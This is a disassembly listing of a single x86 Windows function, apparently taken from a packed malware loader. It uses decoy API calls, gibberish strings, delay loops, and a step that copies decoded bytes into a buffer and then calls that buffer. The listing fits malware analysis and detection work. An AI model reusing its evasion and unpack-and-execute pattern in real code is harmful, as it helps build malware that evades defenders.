Function at 0x4afd20
Capabilities:
Copy file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c68
call fcn.004144b0
mov eax, dword [0x4bd008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_QueryServiceLockStatusW]
xor esi, esi
cmp dword [0x4c1650], 0xc31
jne 0x4afd7f
lea eax, [ebp - 0x1c40]
push eax
push 0
lea ecx, [ebp - 0x1c4c]
push ecx
push 0
call edi
push 0
push 0
lea edx, [ebp - 0x1c3c]
push edx
mov dword [ebp - 0x1c3c], 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x92601b2
jg 0x4afd98
inc esi
cmp esi, 0x3661b720
jl 0x4afd48
jmp 0x4afdb3
cmp dword [0x4c1650], 0xa
jne 0x4afdb3
lea eax, [ebp - 0x1c40]
push eax
push 0x4bae88
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
mov ecx, dword [0x4bdfe8]
xor esi, esi
cmp dword [0x4c1650], 0x7c
mov dword [0x4c1654], ecx
jne 0x4afe96
push esi
lea edx, [ebp - 0x404]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push str.Yulizarezusuge_moyulir_poxiluyetebuhom_hukizeyupu_yazid
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0x2e
lea eax, [ebp - 0x1c34]
push esi
push eax
mov dword [ebp - 0x1c38], esi
call fcn.0040e190
add esp, 0xc
push esi
lea ecx, [ebp - 0x1c38]
push ecx
push str.Safemerofo
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push esi
push esi
push esi
push esi
push str.lafojijuwuna
push str.relazukigihokuni
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push str.Bahav_feruvuyox_lasopapexuge
call dword [sym.imp.KERNEL32.dll_AddAtomA]
lea edx, [ebp - 0xc04]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
cmp dword [0x4c1650], 0x2d
jne 0x4afe6d
lea eax, [ebp - 0x1c58]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp dword [0x4c1650], 0x54
jne 0x4afe7e
push esi
push esi
call dword [sym.imp.KERNEL32.dll_QueryMemoryResourceNotification]
push 0x4baf69
push 0x4bfe68
call fcn.00401169
push esi
call fcn.00401486
add esp, 0xc
cmp dword [0x4c1650], 0x110a
jne 0x4aff9d
mov dword [0x4c0958], esi
mov dword [0x4c095c], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
lea ecx, [ebp - 0x1c40]
push ecx
lea edx, [ebp - 0x1c04]
push edx
push str.Royatemipikuz_tigi_resesotikiju_hoyaye_hol
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x1404]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push str.Yuhegoveson_daxelowam_zitaj_roborile
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push esi
lea ecx, [ebp - 0xc04]
push ecx
push str.Rimavowegal_buhaviluzu_tesoyaz_jicuk
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
push esi
push esi
call fcn.0040131b
push esi
push esi
call fcn.0040131b
push 0x4bb020
push str.0.txt
push esi
call fcn.004015a6
add esp, 0x1c
push str.0__s__d__f
call fcn.004013e1
add esp, 4
push 0x7fc
lea edx, [ebp - 0x800]
push esi
push edx
mov dword [ebp - 0x804], 0x30
call fcn.0040e190
add esp, 0xc
lea eax, [ebp - 4]
push eax
push esi
lea ecx, [ebp - 0x804]
push ecx
push 0xce6
push 0x4c0968
call fcn.0040171a
add esp, 0x14
push esi
push esi
call fcn.0040131b
add esp, 8
push esi
call fcn.00401ceb
call fcn.004af930
cmp dword [0x4c1650], esi
jbe 0x4b0022
mov edi, dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
jmp 0x4affc0
mov edx, dword [0x4c1654]
mov dword [ebp - 0x1c3c], edx
mov eax, 0xa231
add dword [ebp - 0x1c3c], eax
mov eax, dword [ebp - 0x1c3c]
mov cl, byte [eax + esi]
mov edx, dword [0x4c0368]
mov byte [edx + esi], cl
cmp dword [0x4c1650], 0x5ab
jne 0x4b0019
lea eax, [ebp - 0x1c5c]
push eax
push 0x4bb03c
call edi
push 0
push 0
call ebx
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetPrivateObjectSecurity]
inc esi
cmp esi, dword [0x4c1650]
jb 0x4affc0
call fcn.004af9f0
call fcn.004af960
call fcn.004afc10
add dword [0x4c0368], 0
mov esi, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0x1c3c], 0x6f479f
jmp 0x4b0060
cmp dword [0x4c1650], 0xbf9
jne 0x4b0070
push 0
call ebx
cmp dword [0x4c1650], 0x58
mov dword [0x4c0374], 0x8e55e61a
jne 0x4b0094
push 0
push str.Sonedi_vifizuxim_dezanivarun_xuretivase_noladunes
call edi
push 0
push 0
push 0
call esi
sub dword [ebp - 0x1c3c], 1
jne 0x4b0060
call dword [0x4c0368]
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
xor esi, esi
lea ecx, [ebp - 0x1c68]
push ecx
push 0
call edi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
call ebx
cmp esi, 0x1ac2b
jle 0x4b00de
cmp dword [ebp - 0x1c60], 0xf5bee1
jne 0x4b00e7
inc esi
cmp esi, 0x1ebc2db6
jl 0x4b00b1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040115a
mov esp, ebp
pop ebp
ret